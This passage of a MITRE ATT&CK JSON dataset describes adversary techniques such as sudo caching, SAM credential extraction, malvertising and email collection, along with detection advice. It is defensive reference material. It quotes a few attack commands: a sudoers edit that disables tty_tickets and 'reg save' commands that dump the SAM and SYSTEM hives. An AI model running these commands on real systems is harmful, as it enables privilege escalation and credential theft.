if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","type":"attack-pattern","created":"2020-01-30T14:34:44.992Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1548.003","url":"https://attack.mitre.org/techniques/T1548/003"},{"url":"https://www.sudo.ws/","description":"Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.","source_name":"sudo man page 2018"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/","description":"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.","source_name":"OSX.Dok Malware"},{"url":"https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does","description":"Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.","source_name":"cybereason osx proton"}],"modified":"2022-03-14T16:28:19.781Z","name":"Sudo and Sudo Caching","description":"Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Command: Command Execution","Process: Process Creation","Process: Process Metadata"],"x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":["root"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","type":"attack-pattern","created":"2020-02-20T21:09:55.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1560.003","url":"https://attack.mitre.org/techniques/T1560/003"},{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2020-03-25T22:48:14.605Z","name":"Archive via Custom Method","description":"An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Script: Script Execution"]},{"modified":"2024-09-30T13:28:37.414Z","name":"Modify Cloud Compute Infrastructure","description":"An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Instance: Instance Metadata","Instance: Instance Stop","Snapshot: Snapshot Creation","Volume: Volume Modification","Instance: Instance Modification","Instance: Instance Creation","Volume: Volume Metadata","Instance: Instance Start","Cloud Service: Cloud Service Metadata","Volume: Volume Creation","Snapshot: Snapshot Modification","Snapshot: Snapshot Metadata","Volume: Volume Deletion","Snapshot: Snapshot Deletion","Instance: Instance Deletion"],"type":"attack-pattern","id":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","created":"2019-08-30T18:03:05.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1578","external_id":"T1578"},{"source_name":"Mandiant M-Trends 2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:10:59.530Z","name":"Network Devices","description":"Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting.\n\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.\n\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nCompromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Gavin Knapp"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.0","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869","created":"2024-03-28T03:29:35.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1584/008","external_id":"T1584.008"},{"source_name":"Wired Russia Cyberwar","description":"Greenberg, A. (2022, November 10). Russia’s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.","url":"https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/"},{"source_name":"Mandiant Fortinet Zero Day","description":"Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.","url":"https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"},{"source_name":"Justice GRU 2024","description":"Office of Public Affairs. (2024, February 15). Justice Department Conducts Court-Authorized Disruption of Botnet Controlled by the Russian Federation’s Main Intelligence Directorate of the General Staff (GRU). Retrieved March 28, 2024.","url":"https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-16T20:10:08.246Z","name":"Malvertising","description":"Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. \n\nAdversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising) \n\nMalvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)\n\nAdversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Tom Hegel","Menachem Goldstein","Hiroki Nagahama, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India","Juan Carlos Campuzano - Mnemo-CERT"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.0","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096","created":"2023-02-21T20:46:57.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1583/008","external_id":"T1583.008"},{"source_name":"BBC-malvertising","description":"BBC. (2011, March 29). Spotify ads hit by malware attack. Retrieved February 21, 2023.","url":"https://www.bbc.com/news/technology-12891182"},{"source_name":"FBI-search","description":"FBI. (2022, December 21). Cyber Criminals Impersonating Brands Using Search Engine Advertisement Services to Defraud Users. Retrieved February 21, 2023.","url":"https://www.ic3.gov/Media/Y2022/PSA221221"},{"source_name":"sentinelone-malvertising","description":"Hegel, Tom. (2023, January 19). Breaking Down the SEO Poisoning Attack | How Attackers Are Hijacking Search Results. Retrieved February 21, 2023.","url":"https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/"},{"source_name":"spamhaus-malvertising","description":"Miller, Sarah. (2023, February 2). A surge of malvertising across Google Ads is distributing dangerous malware. Retrieved February 21, 2023.","url":"https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/"},{"source_name":"Masquerads-Guardio","description":"Tal, Nati. (2022, December 28). “MasquerAds” — Google’s Ad-Words Massively Abused by Threat Actors, Targeting Organizations, GPUs and Crypto Wallets. Retrieved February 21, 2023.","url":"https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:03:06.294Z","name":"Permission Groups Discovery","description":"Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Daniel Prizmant, Palo Alto Networks","Yuval Avrahami, Palo Alto Networks","Microsoft Threat Intelligence Center (MSTIC)"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Containers","Office Suite","Identity Provider"],"x_mitre_version":"2.6","x_mitre_data_sources":["Process: Process Creation","Group: Group Metadata","Command: Command Execution","Application Log: Application Log Content","Group: Group Enumeration"],"type":"attack-pattern","id":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","created":"2017-05-31T21:30:55.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1069","external_id":"T1069"},{"source_name":"K8s Authorization Overview","description":"Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.","url":"https://kubernetes.io/docs/reference/access-authn-authz/authorization/"},{"source_name":"CrowdStrike BloodHound April 2018","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T12:24:27.627Z","name":"Email Collection","description":"Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward email from mail servers or clients. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)","Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux","Office Suite"],"x_mitre_version":"2.6","x_mitre_data_sources":["Logon Session: Logon Session Creation","Application Log: Application Log Content","Network Traffic: Network Connection Creation","File: File Access","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","created":"2017-05-31T21:31:25.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1114","external_id":"T1114"},{"source_name":"CISA AA20-352A 2021","description":"CISA. (2021, April 15). Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. Retrieved August 30, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a"},{"source_name":"Microsoft Tim McMichael Exchange Mail Forwarding 2","description":"McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.","url":"https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"},{"source_name":"TrustedSec OOB Communications","description":"Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.","url":"https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:40:52.174Z","name":"Security Account Manager","description":"Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Ed Williams, Trustwave, SpiderLabs","Olaf Hartong, Falcon Force"],"x_mitre_deprecated":false,"x_mitre_detection":"Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Command: Command Execution","File: File Access","Windows Registry: Windows Registry Key Access","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","created":"2020-02-11T18:42:07.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1003/002","external_id":"T1003.002"},{"source_name":"GitHub Creddump7","description":"Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.","url":"https://github.com/Neohapsis/creddump7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f","type":"attack-pattern","created":"2020-10-02T16:56:49.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1596.002","url":"https://attack.mitre.org/techniques/T1596/002"},{"source_name":"WHOIS","url":"https://www.whois.net/","description":"NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:50:44.113Z","name":"WHOIS","description":"Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-16T12:21:51.311Z","name":"System Firmware","description":"Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Jean-Ian Boutin, ESET","McAfee","Ryan Becwar"],"x_mitre_deprecated":false,"x_mitre_detection":"System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["Firmware: Firmware Modification"],"x_mitre_defense_bypassed":["Host intrusion prevention systems","Anti-virus","File monitoring"],"type":"attack-pattern","id":"attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada","created":"2019-12-19T19:43:34.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1542/001","external_id":"T1542.001"},{"source_name":"McAfee CHIPSEC Blog","description":"Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.","url":"https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"},{"source_name":"MITRE Copernicus","description":"Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.","url":"http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"},{"source_name":"Intel HackingTeam UEFI Rootkit","description":"Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.","url":"http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"},{"source_name":"Github CHIPSEC","description":"Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.","url":"https://github.com/chipsec/chipsec"},{"source_name":"About UEFI","description":"UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.","url":"http://www.uefi.org/about"},{"source_name":"MITRE Trustworthy Firmware Measurement","description":"Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.","url":"http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"},{"source_name":"Wikipedia UEFI","description":"Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.","url":"https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface"},{"source_name":"Wikipedia BIOS","description":"Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.","url":"https://en.wikipedia.org/wiki/BIOS"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-02T18:52:21.278Z","name":"Search Victim-Owned Websites","description":"Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for 